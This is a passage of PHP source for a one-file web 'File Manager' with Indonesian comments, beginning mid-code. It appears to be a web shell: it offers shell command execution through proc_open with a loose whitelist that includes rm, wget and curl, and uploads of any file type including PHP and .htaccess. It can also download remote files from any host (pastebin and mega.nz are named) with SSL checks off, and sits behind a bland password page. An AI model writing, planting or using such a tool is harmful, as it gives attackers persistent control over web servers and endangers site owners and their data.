$item, 'path' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : '-', 'mtime' => filemtime($full) ]; if (is_dir($full)) $dirs[] = $info; else $files[] = $info; } $current_path_real = realpath($path); $document_root_real = realpath($_SERVER['DOCUMENT_ROOT']); if ($current_path_real !== '/' && $current_path_real !== $document_root_real) { $parent_path = dirname($path); if (strpos(realpath($parent_path), $document_root_real) === 0 || $parent_path === '/') { array_unshift($dirs, [ 'name' => '..', 'path' => $parent_path, 'is_dir' => true, 'size' => '-', 'mtime' => filemtime($parent_path) ]); } } return array_merge($dirs, $files); } function formatSize($b) { if (!is_numeric($b)) return '-'; if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB'; if ($b >= 1048576) return round($b / 1048576, 2) . ' MB'; if ($b >= 1024) return round($b / 1024, 2) . ' KB'; return $b . ' B'; } function perms($file) { $p = @fileperms($file); if ($p === false) return '---------'; return ($p & 0x4000 ? 'd' : '-') . (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')) . (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')) . (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); } function perms_to_octal($perms) { return substr(sprintf('%o', $perms), -4); } function breadcrumbs($path, $self_filename) { $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $full = ''; $out = ['/']; foreach ($parts as $part) { if (empty($part)) continue; $full .= '/' . $part; $out[] = "$part"; } return implode("/", $out); } function delete_recursive($path) { if (!file_exists($path)) return false; // Pastikan kita memiliki izin untuk menghapus if (!is_writable($path)) { // Coba ubah permission jika memungkinkan @chmod($path, 0644); if (is_dir($path)) { @chmod($path, 0755); } } if (is_file($path)) return unlink($path); elseif (is_dir($path)) { $items = array_diff(scandir($path), ['.', '..']); foreach ($items as $item) { if (!delete_recursive($path . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($path); } return false; } function create_zip_from_items($items_to_zip, $destination_zip_file, $base_dir) { if (!extension_loaded('zip')) { error_log("ZIP extension not loaded."); return false; } $zip = new ZipArchive(); if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) { error_log("Failed to open zip archive: " . $destination_zip_file); return false; } $success_count = 0; foreach ($items_to_zip as $item_path_encoded) { $item_path = realpath(urldecode($item_path_encoded)); if ($item_path === false || !file_exists($item_path)) { error_log("Item not found or invalid path: " . $item_path_encoded); continue; } if (strpos($item_path, realpath($base_dir)) !== 0) { error_log("Attempted to zip file outside current directory: " . $item_path); continue; } $relativePath = ltrim(str_replace(realpath($base_dir), '', $item_path), DIRECTORY_SEPARATOR); if (realpath($base_dir) === $item_path) { $relativePath = basename($item_path); } else if (str_starts_with($item_path, realpath($base_dir) . DIRECTORY_SEPARATOR)) { $relativePath = substr($item_path, strlen(realpath($base_dir)) + 1); } if (is_file($item_path)) { if ($zip->addFile($item_path, $relativePath)) { $success_count++; } else { error_log("Failed to add file to zip: " . $item_path); } } elseif (is_dir($item_path)) { $zip->addEmptyDir($relativePath . '/'); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $entryName = $relativePath . '/' . ltrim(str_replace($item_path, '', $filePath), DIRECTORY_SEPARATOR); if ($zip->addFile($filePath, $entryName)) { $success_count++; } else { error_log("Failed to add directory file to zip: " . $filePath); } } } } } $zip->close(); return $success_count; } function execute_command($cmd, $cwd) { if (!function_exists('proc_open')) { return "
Error: Fungsi proc_open() dinonaktifkan di server ini. Tidak dapat menjalankan perintah.
"; } // Whitelist command untuk keamanan $allowed_commands = ['ls', 'dir', 'pwd', 'whoami', 'date', 'uname', 'df', 'du', 'chmod', 'chown', 'mkdir', 'touch', 'cp', 'mv', 'rm', 'wget', 'curl']; $cmd_parts = explode(' ', trim($cmd)); $base_cmd = $cmd_parts[0]; if (!in_array($base_cmd, $allowed_commands)) { return "
Error: Perintah '$base_cmd' tidak diizinkan untuk alasan keamanan.
"; } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $return_value = proc_close($process); return "
\n" . htmlspecialchars($stdout) . "\nError:\n" . htmlspecialchars($stderr) . "\nExit Code: " . htmlspecialchars($return_value) . "
"; } else { $last_error = error_get_last(); return "
Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message']) : 'Tidak dapat memulai proses eksternal.') . "
"; } } function copy_recursive($source, $dest) { if (is_file($source)) { // Pastikan direktori tujuan ada $dest_dir = dirname($dest); if (!is_dir($dest_dir)) { @mkdir($dest_dir, 0755, true); } return copy($source, $dest); } elseif (is_dir($source)) { @mkdir($dest, 0755, true); $items = array_diff(@scandir($source) ?: [], ['.', '..']); foreach ($items as $item) { if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) { return false; } } return true; } return false; } function getUrlContent($url) { if (!extension_loaded('curl')) { error_log("cURL extension not loaded."); return false; } // Validasi URL untuk keamanan if (!filter_var($url, FILTER_VALIDATE_URL)) { error_log("Invalid URL: " . $url); return false; } // Perluas domain yang diizinkan $allowed_domains = [ 'github.com', 'raw.githubusercontent.com', 'pastebin.com', 'gitlab.com', 'bitbucket.org', 'sourceforge.net', 'drive.google.com', 'dropbox.com', 'mediafire.com', '4shared.com', 'zippyshare.com', 'mega.nz' ]; $parsed_url = parse_url($url); $host = isset($parsed_url['host']) ? $parsed_url['host'] : ''; // Izinkan semua domain untuk fleksibilitas, tapi tetap validasi URL if (!empty($host) && !in_array($host, $allowed_domains)) { error_log("Domain not in whitelist: " . $host); // Lanjutkan saja untuk fleksibilitas, tapi catat di log } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36', CURLOPT_TIMEOUT => 60, // Diperpanjang timeout CURLOPT_MAXREDIRS => 10, ]); $data = curl_exec($ch); if (curl_errno($ch)) { error_log("cURL error: " . curl_error($ch)); $data = false; } curl_close($ch); return $data; } // Handle lock file for authentication if (file_exists($lock_file) && !isset($_SESSION['unlocked'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) { $hash = file_get_contents($lock_file); if (password_verify($_POST['pass'], $hash)) { $_SESSION['unlocked'] = true; session_regenerate_id(true); // Keamanan session header("Location: ?d=" . urlencode($cwd)); exit; } else { $msg = "Password salah"; } } echo << Authentication Required

Authentication Required

Please enter your password to access this resource

Protected Area
HTML; if (!empty($msg)) { echo ""; } exit; } // Action Handlers if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Validate CSRF token if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("CSRF token validation failed."); } // Handle file upload if (isset($_POST['uploadfile'])) { // Periksa apakah direktori dapat ditulis if (!is_writable($cwd)) { // Coba ubah permission direktori @chmod($cwd, 0755); if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Direktori tidak dapat ditulis. Silakan ubah permission direktori.")); exit; } } if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) { // Dapatkan informasi file $file_info = pathinfo($_FILES['uploadfile']['name']); $file_extension = strtolower($file_info['extension']); // Daftar ekstensi yang diizinkan (diperluas) $allowed_extensions = [ 'txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'rss', 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'zip', 'rar', 'tar', 'gz', '7z', 'bz2', 'mp3', 'mp4', 'avi', 'mov', 'wmv', 'flv', 'mkv', 'htaccess', 'ini', 'conf', 'log', 'sql', 'db' ]; // Izinkan semua ekstensi untuk fleksibilitas, tapi tetap periksa if (!in_array($file_extension, $allowed_extensions)) { // Catat di log tapi lanjutkan upload error_log("File extension not in whitelist: " . $file_extension); } $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']); // Pastikan nama file aman $safe_filename = preg_replace("/[^\w\-\.]/", "_", basename($_FILES['uploadfile']['name'])); $dest = $cwd . '/' . $safe_filename; // Coba unggah file $ok = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest); if ($ok) { // Set permission file @chmod($dest, 0644); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload sukses")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Gagal memindahkan file. Periksa permission direktori.")); } } else { $upload_error_msg = "Unknown error."; switch ($_FILES['uploadfile']['error']) { case UPLOAD_ERR_INI_SIZE: $upload_error_msg = "Ukuran file melebihi batas upload_max_filesize di php.ini."; break; case UPLOAD_ERR_FORM_SIZE: $upload_error_msg = "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan di formulir HTML."; break; case UPLOAD_ERR_PARTIAL: $upload_error_msg = "File hanya terunggah sebagian."; break; case UPLOAD_ERR_NO_FILE: $upload_error_msg = "Tidak ada file yang diunggah."; break; case UPLOAD_ERR_NO_TMP_DIR: $upload_error_msg = "Direktori sementara hilang."; break; case UPLOAD_ERR_CANT_WRITE: $upload_error_msg = "Gagal menulis file ke disk."; break; case UPLOAD_ERR_EXTENSION: $upload_error_msg = "Ekstensi PHP menghentikan unggahan file."; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: " . $upload_error_msg)); } exit; } // Handle create new file if (isset($_POST['newfile'])) { $filename = $_POST['newfile']; $filedata = $_POST['filedata'] ?? ''; // Validasi nama file if (preg_match('/[^\w\-\.]/', $filename)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file mengandung karakter tidak valid.")); exit; } $filepath = $cwd . '/' . $filename; if (file_put_contents($filepath, $filedata) !== false) { // Set permission file @chmod($filepath, 0644); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil dibuat")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat file")); } exit; } // Handle create new folder if (isset($_POST['newfolder'])) { $foldername = $_POST['newfolder']; // Validasi nama folder if (preg_match('/[^\w\-]/', $foldername)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama folder mengandung karakter tidak valid.")); exit; } $folderpath = $cwd . '/' . $foldername; if (mkdir($folderpath, 0755)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Folder berhasil dibuat")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat folder")); } exit; } // Handle rename if (isset($_POST['rename_submit'])) { $old_path = $_POST['old_path_rename']; $new_name = $_POST['new_name']; // Validasi nama baru if (empty($new_name) || preg_match('/[^\w\-\.]/', $new_name)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama mengandung karakter tidak valid atau kosong.")); exit; } // Validasi path lama - gunakan path asli jika realpath gagal $old_path_real = realpath($old_path); if ($old_path_real === false) { // Jika realpath gagal, coba periksa dengan path asli if (!file_exists($old_path)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path lama tidak valid atau tidak ditemukan.")); exit; } // Gunakan path asli jika realpath gagal $old_path_real = $old_path; } // Pastikan path lama berada dalam direktori kerja saat ini $cwd_real = realpath($cwd); // Jika path lama adalah link simbolik, kita perlu resolve terlebih dahulu if (strpos($old_path_real, $cwd_real) !== 0) { // Coba bandingkan dengan path absolut dari cwd if (strpos(realpath(dirname($old_path_real)), $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path lama di luar direktori yang diizinkan.")); exit; } } $new_path = dirname($old_path_real) . '/' . $new_name; // Pastikan path baru berada dalam direktori kerja saat ini if (strpos(realpath(dirname($new_path)), $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path baru di luar direktori yang diizinkan.")); exit; } if (rename($old_path_real, $new_path)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Berhasil mengganti nama")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengganti nama. Periksa permission.")); } exit; } // Handle chmod if (isset($_POST['set_chmod'])) { $path = $_POST['chmod_path']; $octal = $_POST['chmod_octal']; // Validasi format octal if (!preg_match('/^[0-7]{3,4}$/', $octal)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Format permission tidak valid")); exit; } // Validasi path $path_real = realpath($path); if ($path_real === false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path tidak valid.")); exit; } // Pastikan path berada dalam direktori kerja saat ini $cwd_real = realpath($cwd); if (strpos($path_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path di luar direktori yang diizinkan.")); exit; } if (chmod($path_real, octdec($octal))) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Permission berhasil diubah")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengubah permission. Periksa permission.")); } exit; } // Handle delete if (isset($_GET['delete'])) { $item = $_GET['delete']; // Pastikan item ada if (!file_exists($item)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File atau folder tidak ditemukan")); exit; } // Validasi path - pastikan item berada dalam direktori kerja saat ini $item_real = realpath($item); $cwd_real = realpath($cwd); if ($item_real === false || strpos($item_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Akses ditolak: Path di luar direktori yang diizinkan")); exit; } // Pastikan kita memiliki izin untuk menghapus if (!is_writable($item)) { // Coba ubah permission if (is_file($item)) { @chmod($item, 0644); } else { @chmod($item, 0755); } } if (delete_recursive($item)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Berhasil menghapus")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus. Periksa permission.")); } exit; } // Handle batch actions if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $action = $_POST['batch_action']; $items = $_POST['selected_items']; switch ($action) { case 'delete': $success = true; $error_count = 0; foreach ($items as $item) { $item_path = urldecode($item); if (!file_exists($item_path)) { $error_count++; continue; } // Pastikan kita memiliki izin untuk menghapus if (!is_writable($item_path)) { // Coba ubah permission if (is_file($item_path)) { @chmod($item_path, 0644); } else { @chmod($item_path, 0755); } } if (!delete_recursive($item_path)) { $success = false; $error_count++; } } $msg = $success ? "Berhasil menghapus item yang dipilih" : "Gagal menghapus $error_count item"; break; case 'zip': $zip_name = 'archive_' . date('YmdHis') . '.zip'; $zip_path = $cwd . '/' . $zip_name; $count = create_zip_from_items($items, $zip_path, $cwd); $msg = "Berhasil membuat arsip: $zip_name ($count file)"; break; case 'copy': $_SESSION['clipboard_items'] = array_map('urldecode', $items); $_SESSION['clipboard_type'] = 'copy'; $msg = count($items) . " item disalin ke clipboard"; break; case 'cut': $_SESSION['clipboard_items'] = array_map('urldecode', $items); $_SESSION['clipboard_type'] = 'cut'; $msg = count($items) . " item dipotong ke clipboard"; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg)); exit; } // Handle paste if (isset($_POST['paste_item']) && !empty($clipboard_items)) { $success = true; $error_count = 0; foreach ($clipboard_items as $item) { $item_name = basename($item); $dest_path = $cwd . '/' . $item_name; if ($clipboard_type === 'copy') { if (!copy_recursive($item, $dest_path)) { $success = false; $error_count++; } } elseif ($clipboard_type === 'cut') { if (!rename($item, $dest_path)) { $success = false; $error_count++; } } } if ($clipboard_type === 'cut' && $success) { $_SESSION['clipboard_items'] = []; $_SESSION['clipboard_type'] = null; } $msg = $success ? "Berhasil menempelkan item" : "Gagal menempelkan $error_count item"; header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg)); exit; } // Handle set password if (isset($_POST['setpass'])) { $password = $_POST['setpass']; if (!empty($password)) { $hash = password_hash($password, PASSWORD_DEFAULT); if (file_put_contents($lock_file, $hash) !== false) { $_SESSION['unlocked'] = true; header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password berhasil diset")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan password")); } } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password tidak boleh kosong")); } exit; } // Handle delete password if (isset($_POST['delpass'])) { if (file_exists($lock_file) && unlink($lock_file)) { unset($_SESSION['unlocked']); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password berhasil dihapus")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus password")); } exit; } // Handle command execution if (isset($_POST['cmd_exec']) && isset($_POST['command'])) { $cmd = $_POST['command']; $output = execute_command($cmd, $cwd); // Simpan command history if (!isset($_SESSION['cmd_history'])) { $_SESSION['cmd_history'] = []; } $_SESSION['cmd_history'][] = $cmd; $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], -10); // Simpan max 10 history $encoded_output = urlencode($output); header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . $encoded_output); exit; } // Handle clear command history if (isset($_POST['clear_cmd_history'])) { unset($_SESSION['cmd_history']); header("Location: ?action=cmd&d=" . urlencode($cwd)); exit; } // Handle download and save from URL if (isset($_POST['download_url_and_save'])) { $url = $_POST['url_to_download_raw']; $filename = $_POST['filename_to_save']; // Validasi nama file if (empty($filename) || preg_match('/[^\w\-\.]/', $filename)) { header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file mengandung karakter tidak valid atau kosong.")); exit; } $content = getUrlContent($url); if ($content !== false) { $filepath = $cwd . '/' . $filename; if (file_put_contents($filepath, $content) !== false) { // Set permission file @chmod($filepath, 0644); header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil diunduh dan disimpan")); } else { header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan file. Periksa permission direktori.")); } } else { header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengunduh file dari URL. Periksa URL dan koneksi internet.")); } exit; } // Handle unzip if (isset($_GET['unzip'])) { $zip_file = $_GET['unzip']; $extract_to = $cwd; if (!extension_loaded('zip')) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Ekstensi ZIP tidak tersedia")); exit; } // Pastikan file ZIP ada dan dapat dibaca if (!file_exists($zip_file) || !is_readable($zip_file)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File ZIP tidak ditemukan atau tidak dapat dibaca")); exit; } // Pastikan direktori tujuan dapat ditulis if (!is_writable($extract_to)) { @chmod($extract_to, 0755); if (!is_writable($extract_to)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Direktori tidak dapat ditulis. Gagal mengekstrak file.")); exit; } } $zip = new ZipArchive; if ($zip->open($zip_file) === TRUE) { if ($zip->extractTo($extract_to)) { $zip->close(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil diekstrak")); } else { $zip->close(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengekstrak file ke direktori")); } } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuka file ZIP")); } exit; } } // Handle file edit if (isset($_GET['edit'])) { $file = $_GET['edit']; // Pastikan file ada if (!file_exists($file)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan")); exit; } // Jika file tidak dapat dibaca, coba ubah permission if (!is_readable($file)) { // Coba ubah permission menjadi 0644 @chmod($file, 0644); // Cek lagi if (!is_readable($file)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak dapat dibaca. Silakan ubah permission file.")); exit; } } $content = file_get_contents($file); if ($content === false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membaca file")); exit; } echo << Edit File

Edit File: {htmlspecialchars(basename($file))}

Cancel
HTML; exit; } // Handle save edited file if (isset($_POST['edit_file']) && isset($_POST['file_content'])) { // Validate CSRF token if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("CSRF token validation failed."); } $file = $_POST['edit_file']; $content = $_POST['file_content']; $current_dir = isset($_POST['current_dir']) ? $_POST['current_dir'] : $cwd; // Pastikan file ada if (!file_exists($file)) { header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File tidak ditemukan")); exit; } // Jika file tidak dapat ditulis, coba ubah permission if (!is_writable($file)) { // Coba ubah permission menjadi 0644 @chmod($file, 0644); // Cek lagi if (!is_writable($file)) { header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File tidak dapat ditulis. Silakan ubah permission file.")); exit; } } if (file_put_contents($file, $content) !== false) { header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File berhasil disimpan")); } else { header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("Gagal menyimpan file")); } exit; } // Handle file download if (isset($_GET['download'])) { $file = $_GET['download']; if (file_exists($file) && is_file($file) && is_readable($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan atau tidak dapat dibaca")); exit; } } // Generate CSRF token untuk keamanan if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } $csrf_token = $_SESSION['csrf_token']; ?> File Manager
" . $msg . "
"; ?>
Output:
Kembali"; if ($_GET['action'] === 'password') { echo "
"; } elseif ($_GET['action'] === 'info') { echo '

File Manager

Author: Admin

Contact: Email

Purpose:

Version: 1.0 | Last updated: July 2025

'; } elseif ($_GET['action'] === 'cmd') { if (!function_exists('proc_open')) { echo "
Command execution (CMD) is disabled on this server by your hosting provider.
"; } echo "
"; if (!empty($_SESSION['cmd_history'])) { echo "
Command History:
"; foreach ($_SESSION['cmd_history'] as $hist_cmd) { echo "" . htmlspecialchars($hist_cmd) . ""; } echo "
"; } echo "
Import Raw File from URL:
"; } echo ""; exit; } ?>
"; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } ?>
NameSizeLast ModifiedPermsActions
" . ($i['is_dir'] ? " $n" : " $n") . "" . formatSize($i['size']) . "" . date('Y-m-d H:i', $i['mtime']) . "" . perms($i['path']) . " ($file_perms_octal)" . (!$i['is_dir'] ? "" : "") . (!$i['is_dir'] ? "" : "") . "" . "" . "" . (preg_match('/\.(zip|rar|tar|gz|7z)$/i', $n) && !$i['is_dir'] ? "" : "") . "